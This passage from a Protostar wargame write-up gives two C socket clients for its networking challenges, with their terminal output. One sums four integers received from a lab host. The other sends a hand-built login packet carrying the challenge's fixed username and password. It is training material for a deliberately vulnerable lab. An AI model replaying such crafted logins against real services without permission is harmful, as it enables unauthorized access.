kroosec@doj:~/protostar$ ./a.out
you correctly sent the data
The third challenge is about sending back the sum 4 unsigned integers received
over the wire.
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2997
#define BUF_SIZE 255
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    unsigned int sd, wanted, i;
    char buf[BUF_SIZE];
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }

    wanted = 0;
    /* Read 4 unsigned integers and sum them up. */
    for (i = 0; i < 4; i++)
      {
        if (recv (sd, buf, sizeof (int), 0) == -1)
          {
            printf("recv()");
            return -1;
          }
        wanted += *(int *) buf;
      }

    if (send (sd, &wanted, sizeof (int), 0) != sizeof (int))
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
you added them correctly
The last challenge of the networking category emulates a networking protocol. It starts by reading the total length of the data on 2 bytes which will be 31. Following is 23 on one byte, which signifies login command. After that the resource net3, the username awesomesauce and the password each terminated with a null byte and prepended with its length (+1 for null byte).
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define RPORT 2996
#define BUF_SIZE 500
#define RHOST "192.168.23.5"

int main (int argc, char **argv)
{
    int sd;
    char buf[BUF_SIZE];
    struct sockaddr_in target;

    /* Prepare structures and socket */
    memset (&target, 0, sizeof (target));
    target.sin_family = AF_INET;
    target.sin_port = htons (RPORT);
    if (inet_pton (AF_INET, RHOST, &target.sin_addr.s_addr) != 1)
      {
        printf("inet_pton()");
        return -1;
      }
    if ((sd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
      {
        printf("socket()");
        return -1;
      }

    /* Connect to the target host */
    if (connect (sd, (struct sockaddr *) &target, sizeof (target)))
      {
        printf("connect()");
        return -1;
      }

    /* Prepend with payload size == 31 */
    if (send (sd, "\x00\x1f", 2, 0) != 2)
      {
        printf("send()");
        return -1;
      }

    /* Start with 23 */
    if (send (sd, "\x17", 1, 0) != 1)
      {
        printf("send()");
        return -1;
      }

    /* resource */
    if (send (sd, "\x05net3\x00", 6, 0) != 6)
      {
        printf("send()");
        return -1;
      }

    /* login */
    if (send (sd, "\x0d""awesomesauce\x00", 14, 0) != 14)
      {
        printf("send()");
        return -1;
      }

    /* password */
    if (send (sd, "\x09password\x00", 10, 0) != 10)
      {
        printf("send()");
        return -1;
      }

    memset (buf, 0, BUF_SIZE);
    if (recv (sd, buf, BUF_SIZE - 1, 0) == -1)
      {
        printf("recv()");
        return -1;
      }
    printf ("%s\n", buf+2);

    return 0;
}
kroosec@doj:~/protostar$ ./a.out
!successful
And that is it with the Networking challenges of Protostar.